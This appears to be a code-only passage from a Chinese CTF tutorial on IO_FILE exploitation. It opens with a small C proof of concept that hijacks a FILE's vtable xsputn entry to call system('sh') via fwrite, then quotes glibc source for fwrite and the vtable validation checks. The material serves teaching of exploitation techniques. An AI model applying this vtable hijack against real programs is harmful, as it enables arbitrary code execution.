『CTF』IO_FILE利用入门(2)

#define system_ptr 0x7ffff7a52390;int main(void){    FILE *fp;    long long *vtable_ptr;    fp=fopen("123.txt","rw");    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable    memcopy(fp,"sh",3);    vtable_ptr[7]=system_ptr //xsputn    fwrite("hi",2,1,fp);}

_IO_size_t    _IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp){      _IO_size_t request = size * count;      _IO_size_t written = 0;      CHECK_FILE (fp, 0);      if (request == 0)        return 0;      _IO_acquire_lock (fp);      if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)        written = _IO_sputn (fp, (const char *) buf, request);      _IO_release_lock (fp);      /* We have written all of the input in case the return value indicates         this or EOF is returned.  The latter is a special case where we         simply did not manage to flush the buffer.  But the data is in the         buffer and therefore written as far as fwrite is concerned.  */      if (written == request || written == EOF)        return count;      else        return written / size;    }    libc_hidden_def (_IO_fwrite)

static inline const struct _IO_jump_t *IO_validate_vtable(const struct _IO_jump_t *vtable) {    /* Fast path: The vtable pointer is within the __libc_IO_vtables       section.  */    uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;    uintptr_t ptr = (uintptr_t) vtable;    uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;    if (__glibc_unlikely (offset >= section_length))        /* The vtable pointer is not in the expected section.  Use the           slow path, which will terminate the process if necessary.  */        _IO_vtable_check();    return vtable;}void attribute_hidden _IO_vtable_check(void) {#ifdef SHARED    /* Honor the compatibility flag.  */    void (*flag)(void) = atomic_load_relaxed (&IO_accept_foreign_vtables);#ifdef PTR_DEMANGLE    PTR_DEMANGLE (flag);#endif    if (flag == &_IO_vtable_check)        return;    /* In case this libc copy is in a non-default namespace, we always       need to accept foreign vtables because there is always a       possibility that FILE * objects are passed across the linking       boundary.  */    {        Dl_info di;        struct link_map *l;        if (!rtld_active()            || (_dl_addr(_IO_vtable_check, &di, &l, NULL) != 0                && l->l_ns != LM_ID_BASE))            return;    }    ...}static inline bool rtld_active (void) {  /* The default-initialized variable does not have a non-zero     dl_init_all_dirs member, so this allows us to recognize an     initialized and active ld.so copy.  */  return GLRO(dl_init_all_dirs) != NULL;}int _dl_addr(const void *address, Dl_info *info, struct link_map **mapp, const ElfW(Sym) **symbolp) {    const ElfW(Addr) addr = DL_LOOKUP_ADDRESS (address);    int result = 0;    /* Protect against concurrent loads and unloads.  */    __rtld_lock_lock_recursive (GL(dl_load_lock));    ...